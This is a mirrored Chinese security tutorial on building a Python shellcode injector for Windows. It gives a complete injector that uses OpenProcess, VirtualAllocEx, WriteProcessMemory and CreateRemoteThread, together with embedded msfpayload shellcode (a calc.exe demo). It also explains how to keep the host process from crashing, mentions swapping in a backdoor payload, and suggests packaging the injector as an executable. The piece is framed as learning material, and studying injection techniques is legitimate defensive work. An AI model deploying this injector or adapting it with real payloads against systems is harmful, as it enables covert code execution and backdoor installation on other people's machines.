Python編寫shellcode注入程式

wyzsk發表於2020-08-19
作者: light · 2014/12/29 11:57

0x00 背景


本文為《小學生科普系列》的番外篇,本系列面向小學生,純科普,大牛莫噴~

教程中所有內容僅供學習研究,請勿用於非法用途,否則....我也幫不了你啊...

說起注入,大家第一印象可能還習慣性的停留在sql注入,指令碼注入(XSS)等。今天light同(jiao)學(shou)帶大家從web端回到作業系統,一起探討Windows下的經典注入——記憶體注入,使用python編寫一個簡單的程式碼注入程式。

記憶體注入常見的方法有dll注入和程式碼注入。Dll注入通俗地講就是把我們自己的dll注入到目標程式的地址空間內,“寄生”在目標程式裡執行。Dll注入需要另外一個“推進器”程式將我們的“寄生蟲”dll“注”進目標程式中。

程式碼注入和dll注入的思路一致,只是“寄生蟲”程式碼與“推進器”程式碼在同一個程式裡面。

Dll檔案:windows動態連結庫。在Windows中,許多應用程式並不是一個完整的可執行檔案,它們被分割成一些相對獨立的動態連結庫,即DLL檔案,放置於系統中。當我們執行某一個程式時,相應的DLL檔案就會被呼叫。

這次我們的實驗選取“程式碼注入”這一課題。廢話不多說,開始動手!

0x01 準備工作


寫python的小程式,light同學推薦性感的Sublime text2 +JEDI(python自動補全外掛)。

首先安裝sublime text2的“外掛管理”外掛package control:

開啟sublime後,組合鍵“ctrl+~”調出控制檯,將以下程式碼貼上進命令列中並回車:

#!python
import urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp) if not os.path.exists(ipp) else None;open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read())

安裝完畢後重啟sublime text2,輸入Ctrl + Shift + P 然後輸入Install Package

enter image description here

然後輸入“jedi”,回車安裝。

enter image description here

磨刀不誤砍柴工,裝好外掛,我們開始正式擼程式碼。

0x02 烹飪開始


原料:win7、python27、sublime text2、msfpayload

必備技能:windows api 基礎、python基礎、metasploit基礎(這個還不會的趕快去這裡補習!http://zone.wooyun.org/content/17377)

這次的注入程式碼主要藉助了python的ctypes庫,這個庫使得python可以直接呼叫windows API,非常方便。“為什麼不用c或者c++?”,因為我手頭邊只有一本《gray hat python》。

#!python
#-*- coding:utf-8 -*-
#匯入sys庫以及ctypes庫
import sys
from ctypes import *

PAGE_EXECUTE_READWRITE  =  0x00000040
PROCESS_ALL_ACCESS  =  ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM  =  ( 0x1000 | 0x2000 )

kernel32  =  windll.kernel32
pid  =  int(sys.argv[1])

if not sys.argv[1]:
    print "Code Injector: ./code_injector.py <PID to inject>"
    sys.exit(0)

# shellcode使用msfpayload生成的,我這裡是一個計算器,當然你可以直接生成一個後門程# 序。生成程式碼:msfpayload  windows/exec  CMD = calc.exe  EXITFUNC=thread  C 
shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"
"\x2e\x65\x78\x65\x00")

code_size = len(shellcode)

# 獲取我們要注入的程式控制程式碼
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )

if not h_process:
    print "[*] Couldn't acquire a handle to PID: %s" % pid
    sys.exit(0)

# 為我們的shellcode申請記憶體
arg_address = kernel32.VirtualAllocEx( h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)

# 在記憶體中寫入shellcode
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))

# 建立遠端執行緒,指定入口為我們的shellcode頭部
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)):
    print "[*] Failed to inject shellcode. Exiting."
sys.exit(0)

print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value

控制程式碼:控制程式碼與普通指標的區別在於,指標包含的是引用物件的記憶體地址,而控制程式碼則是由系統所管理的引用標識,該標識可以被系統重新定位到一個記憶體地址上。這種間接訪問物件的模式增強了系統對引用物件的控制。

可以看到,之所以能進行記憶體注入,主要歸功於windows開放的一個關鍵api:CreateRemoteThread。這個函式允許我們建立一個在其它程式地址空間中執行的執行緒(也稱:建立遠端執行緒)。

而整個注入過程可以劃分為三個步驟:獲取目標程式控制程式碼,把shellcode寫入記憶體,建立遠端執行緒。這也是記憶體注入的基本原理和機制。

在使用msfpayload生成shellcode時,有兩個坑需要大家注意。

坑一: Msfpayload生成shellcode時,不能使用msfencode,有些資料告訴我們生成shellcode時要在後面加上 msfencode -b ‘\x00’ 來避免空字,但是msfencode一旦使用,預設就會使用 x86/shikata_ga_nai 等編碼器對shellcode編碼一次。這裡light同學推薦大家用 msfpayload xxx C的方式來生成純淨的shellcode。

坑二:

msfpayload windows/exec CMD = calc.exe C 

直接生成的shellcode執行結果是宿主100%崩潰,簡直就是程式殺手。我在測試過程中,把用來測試的百度雲管家崩的天昏地暗。這個坑花了好久才跳出來。

後來號基友用ollydbg除錯發現shellcode退出時直接exit process,把整個程式都結束了。

enter image description here

在基友熱心幫助下,再參考msfpayload官方文件後頓悟,果斷修改EXITFUNC的值為thread(預設為process):

enter image description here

測試成功!

enter image description here

最後,我們可以把這個python指令碼用py2exe打包成exe可執行檔案。有興趣的話還可以加上UI,做成一個可以定製不同注入型別(dll或程式碼注入)、注入程式碼(反向後門或惡作劇程式)的程式。

任何問題或者好的建議請騷擾:[email protected]

參考文件:

《gray hat python》

http://www.offensive-security.com/metasploit-unleashed/Msfpayload

http://www.google.com

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章